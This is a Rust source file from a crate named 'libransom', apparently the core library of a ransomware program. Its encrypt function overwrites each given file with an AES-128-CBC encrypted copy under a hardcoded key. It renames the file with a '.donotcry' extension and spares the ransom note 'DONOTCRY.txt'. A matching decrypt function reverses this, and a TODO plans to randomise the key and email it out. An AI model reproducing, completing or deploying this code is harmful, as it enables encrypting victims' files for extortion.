libransom/
lib.rs

1use colored::Colorize;
2use libaes::Cipher;
3use std::fs;
4
5pub fn encrypt(filename: &str) {
6    // TODO: generate randomly key and iv on encrypt, then show it or send an email. when decrypting ask for it.
7    let key = b"fTjWmZq4t7w!z%C*";
8    let iv = b"+MbQeThWmZq4t6w9";
9
10    let cipher = Cipher::new_128(key);
11
12    if !filename.contains("DONOTCRY.txt") {
13        let msg = format!("[*] Encrypting {}", filename);
14        println!("{}", msg.green());
15
16        let encrypted = cipher.cbc_encrypt(iv, &fs::read(filename).unwrap());
17        fs::write(filename, encrypted).unwrap();
18        let new_filename = format!("{}.donotcry", filename);
19        fs::rename(filename, new_filename).unwrap();
20    }
21}
22
23pub fn decrypt(filename: &str) {
24    let key = b"fTjWmZq4t7w!z%C*";
25    let iv = b"+MbQeThWmZq4t6w9";
26
27    let cipher = Cipher::new_128(key);
28
29    if !filename.contains("DONOTCRY.txt") {
30        let msg = format!("[*] Decrypting {}", filename);
31        println!("{}", msg.green());
32
33        let decrypted = cipher.cbc_decrypt(iv, &fs::read(filename).unwrap());
34        fs::write(filename, decrypted).unwrap();
35        let new_filename = filename.replace(".donotcry", "");
36        fs::rename(filename, new_filename).unwrap();
37    }
38}